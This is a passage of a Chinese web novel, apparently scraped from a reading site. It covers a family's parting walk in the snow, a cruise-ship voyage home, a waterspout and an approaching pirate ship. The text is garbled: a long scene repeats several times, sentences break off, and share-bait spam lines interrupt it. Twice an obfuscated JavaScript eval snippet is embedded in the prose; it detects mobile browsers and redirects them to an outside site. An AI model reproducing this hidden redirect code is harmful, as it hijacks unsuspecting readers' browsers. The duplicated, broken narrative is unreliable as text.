六位岁,是那一年和那一月的那一日。 明明林听记得无比清晰,麻利地输进去,完全对了,但是江遇却并没有因此而有多高兴。 相反,心如刀绞一般。 这个女人记得那天的日子,可是她急着输入密码,却是为了听见另一个男人的声音。 白皙的脸蛋上,满是期待的神色。 乌溜溜的眼睛里,也写满了期待。 江遇看着等待中的林听,深吸一口气。 指关节,用力攥紧。 这个女人,当真是丝毫也不顾及他的感受,心里只有周自衡那个男人。 攥紧的手指在颤抖。 他觉得自己一个活生生的大男人站在林听的面前,却被无视的像是空气一样。 电话进行等待音,一秒,两秒…… 每一秒钟对林听来说,都无比的漫长。 国内,鹏城,君悦府。 周自衡已经又是连续几天几夜,没睡上一个好觉了。 他的手机放在沙发的另一头。 人坐在沙发的单人位上,揉着眉心,冷硬的眉骨染着浓浓的愁绪。 电话响了,洛高拿起他的手机,满眼惊讶,“家主,是江先生打过来的电话。 他大步走到周自衡的面前。 周自衡起了身,拿到手机,看到江遇的来电显示时,整个冷硬紧崩的面色忽然被定格了似的。 连空气都被冻住了似的。 这个男人的电话,几百年打不通。 查不到跟他相关的任何消息。 他带着柚子和林听,像是从人间蒸发了似的。 他竟然主动把电话打了过来。 周自衡秒接电话。 手机还没放到耳朵边上,那头传来林听焦急的声音,“周自衡…… 是林听! 空气中带着短暂的凝滞呼吸。 周自衡的背脊轻轻颤了一下,“林听,真的是你吗?林听,你在哪里,你还好吗? 熟悉的声音落入耳中。 电话那头的林听握紧手机,滚烫的泪水 滚滚而落。 “是我周自衡是我。” “我一切都好你呢?” “你都还好吗我好多次被见你被人杀掉了我……” 有太多的话想要对周自衡说。 掌心却突然一空。 手机**遇抽走了。 那通电话任在继续听筒却贴到在江遇的耳旁“再半个月我会亲自将柚子和林听送回鹏城。” 电话被挂断。 林听还想再说什么时江遇已经收好了手机。 寒意阵阵的双眸盯着她“听到他的声音了他死不了你可以放心了。” 江遇心里酸成了一棵柠檬树而且是一棵被密密麻麻扎着针的柠檬树。 又痛又酸。 他见不得林听和周自衡在他面前秀恩爱。 手指关节 电话再打过来被他摁断。 林听满眼恳求地看了一眼手机屏幕又看了一眼江遇“我可以再和周自衡说几句话吗?” 江遇脸色黑沉沉如同乌云压顶摁断电话后直接关机“林听别得寸进尺我是一个活人不是**。” 她这样当着他的面和周自衡秀恩爱。 考虑过他的感受吗? 旁边的小柚子满眼失落“我还没有和爸爸说上话呢!” 小妮子正想着等妈妈和爸爸说完了她要抱着手机好好和爸爸说几句话。 她想说她想爸爸了很想很想。 可是电话已经被挂断了。 小妮子满眼失落。 这样失落的神色落入江遇的眼底无疑是一把刺进他胸口的刀子。 刚刚被这个冷漠的女人刺了一刀。 现在又被女儿刺了一眼。 他满心心酸“柚子你还没有叫过我一声爸爸。” 柚子咬着红红的小嘴巴不愿叫出那两个字。 哪怕这个人愿意把她和妈妈送回爸爸身边她仍然不愿意承认他就是她的爸爸。 这两个字她叫不出口。 但是她害怕这个人会反悔。 她小心翼翼地望着他小心翼翼地问“是不是我不叫你你就不准备送我和妈妈回到爸爸身 边了?” 江遇没有回答,“……” 柚子正准备开口,江遇斩钉截铁,“不必了。我不会强迫你。” 就算柚子开口叫了爸爸,也是心不甘情不愿的。 他不愿意如此勉强,他最心爱的宝贝女儿。 林听看着他,问,“江遇,周自衡会不会根据这通通话记录,查到我们的IP地址。要不要告诉他我们的回程日期,万一他着急了找过来,和我们错过了怎么办?” “你就这么急着回去?”江遇深吸一口气。 那崩紧的额角,染着他的痛楚与怒意。 他紧攥着手指,痛苦地看着这个归心似箭的女人。 怒意被他一点一点地压下去。 见到女人有些怕他反悔的担忧神色,他的声音变得轻了许多,“等你感冒好些了,我会准备起程。我说到做到,不会食言。” 他对这个女人唯一的一次食言,便是没有相信她。 因为这一次食言,他把她推向了深渊。 他让自己的亲生女儿,颠沛流离,孤苦无依。 一次食言,毁掉了所有。 他怎么舍得,再对她食言? “放心,我的手机做了特殊处理。周自衡如果要查,我的IP地址每天都在变。他不会查到这座岛上来,也不会跟你错过。” 可是林听还是不放心。 她没说出来。 不放心三个字,却明晃晃地写在她的脸上和担忧的眼眸里。 江遇拿她无可奈何,便又当着林听的面,给周自衡打了一个电话。 电话里,他干脆利落道:“林听感冒了,等她感冒好了,我送她回国。最多半个月,周自衡,你赢了。” 说完,他挂断了电话,看着林听,“满意了吗,放心了吗?” 林听松了一口气,“谢谢!” 江遇看着她,“你对我,就只有这两个字?” 林听反问他,“那你还希望有什么?” 回应林听的,是江遇的满眼痛楚,“……” 他什么也没有说,重新拿起筷子,吃着桌上的中式早餐。 最近胃疼得厉害。 加上之前的旧疾,一直没有好。 胃里仿佛有一团火一样灼烧 着。 吃什么都像是吃土一样让人难以下咽。 可是他面上无比平静。 见林听胃口似乎是比昨天好一些他特意为她盛了一碗鸡汤递到她的面前。 “谢谢!” 疏离礼貌的语气让江遇胸口又是一阵灼烧感。 “嘶……” 对面的林听忽然放下鸡汤碗摸着肚子眉心紧紧一蹙。 小柚子下意识的靠近她“妈妈怎么了哪里不舒服是不是肚子里的宝宝又踢你了。” “嗯。”林听摸了摸柚子的脑袋“没事宝宝太调皮了。” 柚子摸着妈妈隆起的肚子“这么调皮的宝宝不会是个小弟弟吧。” 林听笑着说“不一定哦你在妈妈肚子里的时候也是特别调皮到了这个时候踢得特别厉害。” 柚子笑着回应“真哒我希望是个妹妹。等这个妹妹生下来以后妈妈和爸爸再给我生一个弟弟好不好?” 江遇看着两母女。 他完全插不上任何一句话。 他像一个外人一样 …… 五日后林听的这场感冒终于完全康复了。 早上起来的时候三人坐在餐桌吃着早餐。 林听亲自给江遇倒了一杯牛奶“江遇我感冒也好了我们什么时候动身我和柚子东西都收拾好了。” 江遇接过牛奶杯的手用力攥紧“就这两日。” 林听追着问“今天不能动身吗。” 江遇没有说什么。 他把林听给她倒的热牛奶端起来喝了两口。 明明是暖的却觉得满心冰冷。 喝完整杯牛奶他都没有暖起来“吃完早餐能不能陪我去外面看看雪景?” 林听看着他沉默了几秒钟。 她想到许久以前一起去雪山看雪景一起在雪景里面散步是他们两梦寐以求的事情。 那是她曾经的执念。 不过她已经放下了。 也是江遇的执念但他还没有放下。 林听没有拒绝“好!” 闻言江遇紧攥着杯子的手这才微微一松。 挺直崩 紧的身躯也微微松了下来。 他以为她连最后一个愿望都不愿满足他呢。 幸好她答应了。 带着些许欣慰的目光转向小柚子温柔地征求道“柚子你愿意也陪爸爸一起到雪地里去看看风景吗。” 他们一家人还没有好好地一起欣赏过雪景。 这是他多年前就有的愿望。 柚子没有第一时间答应。 她有些不太情绪地努了努嘴。 小脑袋往左一拧望向妈妈。 目光里带着征求意见之意。 林听摸摸柚子的小脑袋“去吧我们来到这座岛上还没有好好看过这里的风景呢!” 柚子琢磨了一下慢吞吞地点了点头“好吧!” 这萌萌的声音有些勉为其难。 来到这座岛上已经快半年了。 这是江遇第一次和两母女相处得如此和谐。 她们没有拒绝他没有抗拒。 也是他们第一次能像一家三口一样出去看看风景。 出门之前江遇拿着一顶厚厚的帽子戴在柚子的小脑袋上。 帽子上有护耳的耳罩。 这是柚子第一次没有推开他的手。 他的手停留在帽子上轻轻地揉了揉柚子的脑袋。 多么近的距离啊。 他做梦也渴望着能和女儿靠得这么近。 想把女儿拥进怀里。 最终伸出去的手还是又克制地收了回来。 一条围巾绕在女儿和妈妈一样白皙纤长的脖颈上。 “裹着暖和一点别冻着了。” 柚子看着江遇“谢谢!” 江遇回以温柔又渴望的目光“柚子可以叫我一声爸爸吗?” 柚子摇头。 林听也没有说什么。 因为她知道江遇留给柚子的心理阴影太多。 她不会勉强女儿上前牵起了柚子的小手“走吧。” 江遇从吴婶的手里 江遇多想上前一手牵着林听一手牵着柚 子。 但是她们母女俩,不会给他这样的机会。 雪地里。 一家三口并排走着。 落下大大小小深深浅浅的脚印。 不得不说,这座小岛的雪景真的很美。 城堡后面的这一片山,全是白茫茫的一片。 一望无际的雪。 雪花还在一瓣一瓣地坠落着。 软软的,白白的,干净得不忍心下脚。 林听大着肚子,穿在身上的衣服也很厚。 所以她走得慢。 江遇时不时地提醒她小心一些。 好几次,手碰到她的手,想要牵着她,她快迅挪开了。 江遇的掌心,空空的。 就像他的心一样,也是空空的。 如果六年前,他能够信任林听,不管别人说什么做什么,都护着她。 现在他一定可以和柚子一起在雪地里撒欢,可以小心翼翼地扶着林听,和她们母女俩亲密无间。 现在只能隔着一道林听故意疏远的距离。 小柚子也不愿意让他牵起她的小手。 走着走着,三人竟然一句话也没有说。 还是旁边的杰西,突然提议,“林小姐,江先生,我给你们拍照合照吧? 林听侧眸,看向女儿,“想拍张合照吗? 柚子很明显地摇了摇脑袋。 风雪里,江遇挺拔伟岸的肩膀,塌下来。 杰西又说了两句,“林小姐,不管怎么样,江先生也是柚子的亲生父亲,让他们拍一张合照吧。可以当作留念。 江遇打断,“不用了,以后会有机会的。 前提条件是,如果林听和柚子愿意的话。 这一路走下来,雪花落在他们的头上,肩上,衣裳上,把整个人都染成了白色。 他们走着走着,果然都白了头。 是不是这样,也算是共白头了? 他朝若是同淋雪,此生也愿共白头。 江遇没有再往前走,他把手机掏出来,拍了一张柚子和林听往前走的背景。 一大一小,落在手机的相框里。 以后,他想她们的时候,可能只能看这张相片了。 他将把她们母女俩,完完好好的,归还给周自衡。 两日后,江遇带着林听和柚子,登上了来时的那艘游轮,起程返航。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 子。 但是她们母女俩,不会给他这样的机会。 雪地里。 一家三口并排走着。 落下大大小小深深浅浅的脚印。 不得不说,这座小岛的雪景真的很美。 城堡后面的这一片山,全是白茫茫的一片。 一望无际的雪。 雪花还在一瓣一瓣地坠落着。 软软的,白白的,干净得不忍心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990871|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚。 林听大着肚子,穿在身上的衣服也很厚。 所以她走得慢。 江遇时不时地提醒她小心一些。 好几次,手碰到她的手,想要牵着她,她快迅挪开了。 江遇的掌心,空空的。 就像他的心一样,也是空空的。 如果六年前,他能够信任林听,不管别人说什么做什么,都护着她。 现在他一定可以和柚子一起在雪地里撒欢,可以小心翼翼地扶着林听,和她们母女俩亲密无间。 现在只能隔着一道林听故意疏远的距离。 小柚子也不愿意让他牵起她的小手。 走着走着,三人竟然一句话也没有说。 还是旁边的杰西,突然提议,“林小姐,江先生,我给你们拍照合照吧? 林听侧眸,看向女儿,“想拍张合照吗? 柚子很明显地摇了摇脑袋。 风雪里,江遇挺拔伟岸的肩膀,塌下来。 杰西又说了两句,“林小姐,不管怎么样,江先生也是柚子的亲生父亲,让他们拍一张合照吧。可以当作留念。 江遇打断,“不用了,以后会有机会的。 前提条件是,如果林听和柚子愿意的话。 这一路走下来,雪花落在他们的头上,肩上,衣裳上,把整个人都染成了白色。 他们走着走着,果然都白了头。 是不是这样,也算是共白头了? 他朝若是同淋雪,此生也愿共白头。 江遇没有再往前走,他把手机掏出来,拍了一张柚子和林听往前走的背景。 一大一小,落在手机的相框里。 以后,他想她们的时候,可能只能看这张相片了。 他将把她们母女俩,完完好好的,归还给周自衡。 两日后,江遇带着林听和柚子,登上了来时的那艘游轮,起程返航。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子。 但是她们母女俩,不会给他这样的机会。 雪地里。 一家三口并排走着。 落下大大小小深深浅浅的脚印。 不得不说,这座小岛的雪景真的很美。 城堡后面的这一片山,全是白茫茫的一片。 一望无际的雪。 雪花还在一瓣一瓣地坠落着。 软软的,白白的,干净得不忍心下脚。 林听大着肚子,穿在身上的衣服也很厚。 所以她走得慢。 江遇时不时地提醒她小心一些。 好几次,手碰到她的手,想要牵着她,她快迅挪开了。 江遇的掌心,空空的。 就像他的心一样,也是空空的。 如果六年前,他能够信任林听,不管别人说什么做什么,都护着她。 现在他一定可以和柚子一起在雪地里撒欢,可以小心翼翼地扶着林听,和她们母女俩亲密无间。 现在只能隔着一道林听故意疏远的距离。 小柚子也不愿意让他牵起她的小手。 走着走着,三人竟然一句话也没有说。 还是旁边的杰西,突然提议,“林小姐,江先生,我给你们拍照合照吧?” 林听侧眸,看向女儿,“想拍张合照吗?” 柚子很明显地摇了摇脑袋。 风雪里,江遇挺拔伟岸的肩膀,塌下来。 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他将把她们母女俩,完完好好的,归还给周自衡。 两日后,江遇带着林听和柚子,登上了来时的那艘游轮,起程返航。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第180章 可以再抱一下吗? 登船的时候,林听和柚子无比激动。 两母女的脸上,眼里,都写满了四个字:归心似箭! 就连站在林听和柚子身后几米远的吴婶和陈叔,也是归心似箭。 江遇就站在吴婶和陈叔的身后,问,“陈叔,吴婶,你们是不是也盼着林听和柚子回去和周自衡团聚?” 两夫妻回头,看见站在风雪中,长长的毛呢大衣被风吹起衣角,整个身影都浸在一片冰冷中的江遇。 吴婶有些为难。 陈叔叹了一口气,实话实说道: “江先生,你也知道强扭的瓜不甜,看开一些,放下吧,否则痛苦的还是你自己。” 江遇再也没有说什么,“……” 他望着站在甲板主,倚靠着栏杆的林听柚子母女俩,久久地注视着两人的一大一小的背景。 真希望时光能够停留在此时此刻。 因为回国以后,他就再也没有机会,能这样静静地看着她们母女俩了。 江遇走近,站在母女身侧。 一把黑色的大伞,打在母女两头顶,替她们遮住了涮涮而落的雪花。 江遇满眼复杂地看着母女二人,“雪下大了,外面风也大,带着柚子先进船舱吧。” 林听抬头一望,看见了头顶的那把大黑伞。 伞下的江遇,整个神色笼罩在一片阴沉之中,像极了不见阳光的阴霾天空。 她问,“江遇,我们什么时候起航?” 江遇望向划向游轮的那辆小船。 船上载着他从国内运来的那辆比亚迪,从港口的浅水区驶向游轮的升降板。 “等车子进舱之后,船上的工作人员再检查一遍,最多半小时就能起航。” 林听仿佛连半小时也等不及了。 但她耐着性子。 来这座小岛大半年都过去了,何必急于这半小时? 她看着小船上的比亚迪,缓缓开进游轮船舱的升降板,问,“江遇,为什么你一定要把这辆车从国内运到这里?” 江遇答,“它比普通的轿车更具安全性,还有水上的航行功能,不是一般的轿车。” 林听想起在国内的时候,周自衡有一次被大货车撞了。 但是车内的周自衡除了 一些皮外伤以外,没别的大伤。 幸亏那辆红旗国耀,是当初江遇定制给周自衡的,有防撞功能。 否则那天周自衡被大货车那么一撞,不死也得半残。 在安全方面,江遇向来小心谨慎。 她知道,江遇除了对身边最亲的人不太信任以外,还算是一个比较好的兄弟,时刻考虑着兄弟的安危。 “这辆比亚迪的定制车,你也送了书臣哥和周自衡各一辆,对吗? 江遇淡淡应声,“嗯。 林听充满感激道,“我替周自衡谢谢你。 这样感激的话,却让江遇深吸一口气。 胸腔又堵又疼。 望着整座白茫茫的小岛,他叉开话题,问: “林听,这座小岛有没有给你留下些什么难忘的记忆? 林听也望着整座积雪不化的小岛。 望着漫天落下的雪花。 她从来没有想象过,这个世界上竟然有如此常年积雪不化的地方。 她拢了拢围在身前的围巾,实话实说道,“岛上的风景真的很美,但是我不太喜欢这个地方。 她把目光收回来,落在一脸阴沉的江遇脸上,“江遇,人生还很漫长。以后你会遇见那个和你一样,喜欢看雪景,喜欢在雪地里手牵着手散步的女孩子的。过去的事情,过去的人,都放下吧。 这真是一把**不见血的刀子。 直直地捅在江遇的胸口。 他从来没有想过,他和林听就只剩下这些客套的寒暄和祝福了。 他苦涩一笑后,带着满眼的奢望,道,“你都要回国了,可不可以满足我最后一个愿望? 然后,满眼期待道,“听听,可不可以让我最后抱一抱你,抱一抱我们的女儿? 林听笑着拒绝,“抱歉,周自衡是个醋坛子。 随即低头看向身侧的小柚子。 小柚子昂起脑袋来,看向江遇时,眼里没有了那么多的讨厌,但还是有着明显的距离感,“我也不喜欢抱抱。 说着,拉着林听的手,“妈妈,外面好冷啊,我们进去吧。 “好。林听温柔应声。 一大一小的身影,从伞下离开。 在漫天飞舞的 雪花中,走进船舱。 留下撑着伞的江遇,孑然孤独地站在风雪中。 他低低地自言自语,“最后一个愿望而已……” 她都不肯满足他。 她对他,还真是不一般的残忍。 远去的林听,已经消失在了船舱之中。 江遇知道,以后她将彻底消失在他的人生当中,与他南辕北辙。 半个小时后,一艘巨大的游轮起航了。 江遇说,整个归程预计要用七天。 她只希望这七天一切顺利,能够早点回到周自衡的身边。 大概是怀孕的原因,上船之后,她特别爱瞌睡。 比起她在岛上的时候还能爱睡。 第二天清晨,一旁的柚子已经醒了很久了。 可是妈妈没有起来,她便没有起来。 肚子饿得咕咕叫。 但是柚子不想一个人去餐厅,万一遇见那个人,她不知道怎么单独面对他。 自从江遇答应把柚子和林听送回国后,柚子好像没那么讨厌他了,但是还是和他很陌生,不想和他亲近。 咚咚咚! 门外传来敲门声。 声音不大。 大着肚子的林听实在太疲倦了,小心翼翼地翻了个身,“柚子,你去看看是谁。” 柚子嘀咕了一声,“还能是谁,肯定是那个人呗。” 于是,柚子光着小脚丫,跑到门口,打开门露出一个脑袋朝外望了望。 果然是那个人。 他端着一盘美味的早餐,站在门口。 香喷喷的味道,顿时扑面而来。 柚子的肚子早就饿得咕咕叫了。 这会儿闻到味道,不由咽了咽口水。 “饿了吧。”江遇站在外面,看着从门缝里露出来的小脑袋,道,“爸爸看你们一直没起床,想着你肯定饿了,所以特意把早餐给你们送过来。妈妈还在睡?” 江遇知道,孕妇越到中晚期,越是爱瞌睡。 加上在船上舟车劳顿,昨晚她肯定没怎么睡好。 柚子伸手,接过江遇手中的餐盘,“妈妈还在睡,给我吧,谢谢您!” 女儿对他,还是这般疏离礼貌。 不过好在,她再也不会 充满愤怒地瞪着他了。 他小心翼翼问“爸爸可以进去吗?” 柚子望着他“有事吗?” 江遇看着柚子披散在肩头的发温柔道“没别的事情爸爸就是想给你梳个辫子。” 在鹏城的时候他就知道周自衡会每天早上 柚子在幼儿园里跟落落和其他的小朋友讲起时会一脸自豪地抓着自己的辫子说是爸爸给她梳的说她的爸爸可厉害了。 那个爸爸指的是周自衡。 江遇也渴望着有那么一天能给他最心爱的宝贝女儿梳一个漂亮的发型。 所以在鹏城的时候他便每天对着一个模特头练了一遍又一遍地辫发手艺。 他梳的头发不会比周自衡差到哪里去。 柚子犹豫了片刻“不用了柚子自己会梳头发。” 说着端着一大盘食物就要关门。 一只宽大的手掌挡在门缝里被夹了一下嘶…… 有些疼可是江遇眉头也不皱一下。 一道深红的红印在他手背处清晰可见。 柚子见了有些愧疚“抱歉我不是故意的。” 语气还是那样礼貌疏离。 江遇摇摇头唇角露出温柔的笑意“没关系的。爸爸辫的辫子可好看了给爸爸一个机会好不好。等你和妈妈回国后爸爸可能没有这样的机会了。” 柚子想了想。 等她和妈妈回国后就要和周爸爸生活在一起了。 以后确实很少见到眼前的这个人。 她犹豫了片刻基于这个男人愿意把她和妈妈送回国的原因她最终点了点头“那你进来吧。” 林听还在睡。 柚子确认后从房间里走到套房外的会客厅“妈妈还在睡我们小声点。” 江遇比了一个OK的手势然后挪了一根凳子在桌前“柚子你坐在这里一边吃早餐爸爸一边给你梳辫子。” 柚子感觉气氛怪怪的。 她从来没有和眼前这个男人这样相处过。 但她还是乖乖的走到桌前坐下来。 江遇从餐盘里端了两个杯子放在她面前“柚子爸爸 不知道你喜欢喝牛奶还是果汁都给你拿了一些。早上刚起床先喝一点再吃东西。” 接着他拿出一个早已准备好的盒子。 放在桌面上打开来。 里面有五颜六色的各种发饰发夹头绳头花。 柚子看的眼前一亮:哇好漂亮! 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003605|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她很快压下这种欢喜不能让这个人知道她喜欢他准备的发饰发夹。 但是江遇将小妮子刚刚眼中的惊喜尽收眼底。 唇角不由掠过一丝欣慰的笑意。 这是两父女有史以来最温馨的时刻。 随即江遇从手机里翻找出许多发型图片问:“柚子你喜欢哪个发型?” 柚子昂起脑袋来看着他“你都能辫?” “别小看我。”江遇满眼温柔。 柚子犹豫了片刻划动手机页面选了一款她最喜欢的复古风的辫子“这个呢?” “没问题。”江遇比了一个OK的手势后拿起梳子开始动手。 大约用了五分钟的时候一头复古风的辫子辫好了。 江遇又替柚子选了两个浅蓝色的发饰分别夹在两个丸子髻上。 然后梳了梳柚子的刘海。 这就算大功告成了。 “柚子还算满意吗?” 柚子接过江遇递来的镜子 江遇静静地看着。 多么希望以后每天清晨都能为自己的宝贝女儿梳一个漂亮的辫子。 但是等柚子回国后这样温馨的场景会是一种无法实现的奢望。 柚子没有想到这个人竟然还能梳出这么漂亮的发型而且他好像知道她喜欢浅蓝色。 “谢谢我很满意。” “满意就好!”江遇无比珍惜此刻父女俩为数不多的单独相处的快乐时光。 …… 林听醒来的时候已经快中午了。 见到柚子安安静静地坐在床边看着一本漫画书。 林听爬起来“柚子几点了?” 见到柚子漂亮的发型不由有些惊讶“柚子谁给你梳的这么漂亮的头发?” 她虽教过柚子梳头发。 可也只是普通的巴尾辫,丸子头。 “好看吗?柚子摸了摸自己的头发,“那个人给我梳的。对了妈妈,五分钟前他刚刚给你送来了吃的,怕你起来肚子饿,你赶紧洗脸刷牙吃东西吧。 林听应声,“抱歉,柚子,妈妈今天起得有些晚,实在是太困了。 柚子笑着应声,“没关系的妈妈。 见柚子心情还不错。 看来她和江遇相处的还可以。 林听最大的愿望,就是让柚子放下过去的那些痛苦,能够天真烂漫一些。 一切,都在往好的方向发展。 游轮在茫茫大海上,一切如常地航行着。 这天傍晚。 林听刚刚吃过晚饭,又犯困了。 回到房间,她沾了枕头便睡着了。 醒来的时候,游轮摇晃得厉害。 窗外海风阵阵,卷着咸腥的海浪,狠狠的砸在船舱。 她住的这间套房,在游轮最高的一层,第五层。 浪花能砸到十几米高的最高层船舱来,可想而知,这阵海浪又有多汹涌。 风浪呼啸着,像是妖兽在嚎叫。 “柚子! 林听下意识地爬起来。 赤着脚想要穿上鞋子,整个人一阵沉浮不稳,差点摔倒。 广播里,是船长的提醒声,提醒船上的所有人回到船舱。 没一过一会儿,吴婶和陈叔从外面开门进来,跟在身后的还有几个保镖和船舱上的医务人员。 保镖赶紧走过来,将林听扶回了椅子里。 旁边的陈叔说,“小听,柚子和江先生在一起,你放心,他让我们过来照看着你。 林听紧锁着眉心,“外面是怎么了? 其中一个保镖说,“我们遇上罕见的海上龙卷风了。江先生让我们过来保护你。 林听肚子又硬又鼓。 里面的小家伙不停地踢她肚子。 似乎连这个小家伙也能感受到船舱里,这极其低压的紧张气氛。 嘶……肚子好疼! 颠簸中,她紧紧摁着肚子,看向那个和她说话的保镖,问,“我们会有危险吗? 保镖沉思了两秒,随即坚定道,“林小姐,放心,江先生雇的这几个船长,都是很有经验的航海水手。 柚子不在她身边,她十分不放心,“我要给江遇打电话。 电话却拨不出去。 整个船上的通讯系统,似乎都瘫痪了一样。 林听望向窗外。 一片黑沉沉的海天相接处,突然裂开一道灰黑色的口子。 像是巨莽张开的喉咙。 又是一阵巨浪,拍打在船舱上。 房间里的人,颠簸不稳,摇摇晃晃,可是身边的保镖一直紧紧地扶着林听。 林听却心系着柚子,整颗心高高悬着。 第181章 分别! 这阵颠簸,直到好几分钟后才缓缓停下来。 游轮的警报声,依然尖锐刺耳。 接着游轮又是一阵沉沉浮浮。 毁天灭地的气势从四面八方压过来。 空气里是浓烈的咸腥味。 游轮明明距离那道水龙卷有好几公里的距离,可是距离仿佛越来越近。 “林小姐,小心。” “小听,小心!” 陈叔吴婶和保镖的声音,林听听不见。 只有那道越来越近的水龙卷,像是一头巨兽,朝着这艘游轮张开血盆大口,似乎顷刻间就要将整艘游轮连人带物一并吞进肚子里。 …… 游轮,儿童室内游乐场。 江遇紧紧地抱着柚子,“别怕,爸爸在这里。” 柚子第一次这么近距离地,依偎在江遇的怀抱里。 原来这个人的怀抱也能这般温暖。 她紧紧地抱着这个人的脖颈,慌乱不安的小心脏扑腾扑腾地跳动着,“我好担心妈妈。” “别怕,爸爸已经派了六个保镖去妈妈的房间了,吴奶奶和陈爷爷也在妈妈房间里,妈妈不会有事的。”江遇出海无数次,生平第一次遇到这样罕见的水龙卷。 黑丫丫的天色,像是一座压在他胸口的重重的山峦。 他紧紧抱着柚子。 小妮子在他怀里,全身紧崩着,满脸都是泪水。 他温柔地拭过柚子脸上的泪,“爸爸向你保证,一定平平安安护送你和妈妈,回到周爸爸的身边。爸爸不会食言的。” 他从来没有保护过柚子和林听。 这一次,无论如何,他也要平平安安将母女俩,送到周自衡的面前。 然后大大方方地,送上他最真挚的祝福。 …… 儿童室内游乐场距离游轮的驾驶舱最近。 大约过了半小时,游轮没有那么颠簸了,江遇这才带着柚子去了驾驶舱。 整个驾驶舱气氛紧张,却各自分工,井然有序。 驾驶舱一共有三个副船长。 其中一个见到他后,向他汇报了一些情况。 “江先生,我们已经远离那道水龙卷的垂直距离,有九公里了。” “已经在安全范围内了。” 江遇抱着惊魂未定的柚子,一脸沉重,“继续远离。” 副船长点了点头,脸色更是沉重,“船长亲自上阵,正在远离那道水龙卷。但是有一个不好的消息……” 说到这里,副船长停下来。 脸上的神色,被一片阴影笼罩着,“江先生,游轮上的雷达系统坏了。我们可能没有办法正常地判别航海方向。这片海域距离百慕大三角只有两百海里距离,如果无法辨别航海方向,很有可能误闯入百慕大三角。” 百慕大角是世界上公认的,最危险的一片海域。 很多游轮到了这片区域,神秘失踪,连残骸都无法找到。 甚至连飞机飞到百慕大三角上空区域,也会频频出现空难事故。 这个消息,让江遇的脸色如临冰窖般,浸满了阵阵寒意。 整个驾驶舱的气氛,也瞬间降到了冰点。 连被江遇抱着的小柚子,也感受到了江遇紧崩的身体。 但小柚子不敢说话。 副船长沉沉地吸了一口气,又说,“即使我们能成功避开百慕大三角,附近几百海里还有好几个海盗横行的海域等着我们。我们前面所面临的,可能是前所未有的凶险,和无尽的未知。” 江遇深吸一口气,“内部通讯系统恢复了吗?” 副船长摇头。 江遇又问,“能试着联系一下林听吗?我确认一下她那边的情况怎么样了。” 这是他最担忧的。 那些未知的凶险还未到来。 他害怕游轮沉沉浮浮时,大着肚子的林听会有什么危险。 而他现在所在的驾驶舱,去到林听所在的房间,至少还要几分钟的时间。 副船长正要回答,驾驶舱忽然有人惊喊了一声: “有不明船只靠近。” 紧接着,广播里传来船长严肃又镇定的声音: “保持镇定,落下防海盗刺网,加固舱门和驾驶台门窗。随时提高警惕。” “如果有小型游艇靠近,随时喷射高压水枪。” 所有人都提高了警惕。 一个个的,进入高度警备之中。 广播里的声音,不仅驾驶舱的工作人员听见了,整个游艇上的人都听见了。 这艘驶向国内鹏城港的游轮,一共二百多号人。 其中四十多个游轮上的工作人员,船长,大副,水手,轮机长,轮机员,以及各种厨房餐厅的服务生,医务人员,还有几十名保镖。 江遇一手抱着小柚子,一手接过大副手里的望远镜,望向几公里外里的那辆大型游轮。 对方的游轮大小规模,和他们不相上下。 但是船舱的甲板上面,黑丫丫的,全都是人。 那些人长得凶神恶煞,看起来像是海盗。 目测,不下百人。 而且有的人手上还扛着枪。 他深吸一口气。 整个身体的神经肌肉紧紧一崩。 怀里的柚子感觉到气氛很不妙,小心翼翼地问他,“是海盗吗?” “柚子,听着,爸爸在这里,爸爸不会让你和妈妈有事的。相信我!” 这声音十分坚定。 抱着柚子的双臂也十分有力。 这是柚子第一次感受到爸爸的力量。 迟疑了片刻,柚子点点头。 或许是经历的事情太多了,柚子竟然比同龄的小朋友遇事更淡定,“那我可以先回到妈妈身边吗,我要保护妈妈。” 如果海盗登船,驾驶舱将是海盗第一个攻占和掠夺的地方。 驾驶舱将是最危险的地方。 江遇点点头,“我现在带你去找妈妈。你在这里等一下爸爸。” 他把柚子放下来,然后朝杰西递了一个眼神。 杰西是他花重金请的雇佣兵保镖,并且他们签了生死契约。 这个雇佣兵集团,在世界上的口碑极好。 只要跟雇主签下了生死契约,除非雇佣兵先死,否则他们会一直用自己的性命来保护雇主。 江遇是绝对信任杰西的。 杰西看到他示意的眼神后,和他一起走远了几步。 柚子紧紧地抓着自己的衣服,看着江遇和保镖叔叔交待着什么。 那样沉重的气氛,让柚子意识到接下来他们将遇到一个很大的危机。 可是柚子不怕。 她要回到妈妈的身边,去保护妈妈。 杰西听闻江遇的吩咐后,脸色沉沉的,“可是,mr江……” “没有什么可是的。”江遇斩钉截铁,“一切以保护柚子和林听的人身安全为第一。这是死命令,你要护送她们安全回国。” “……”杰西深吸一口气,“放心,我一定完成任务。” 吩咐完,江遇重新回到柚子的身边,抱起柚子。 紧崩的额角松下来,温柔地看着女儿。 “柚子,爸爸现在带你去找妈妈。” 柚子点点头。 …… 船舱的另一头。 林听看着整整齐齐,站在她面前的六个保镖。 目光落在为首的那个高个子,问,“广播里说的什么,是有海盗吗?” 这个保镖也不知道具体情况。 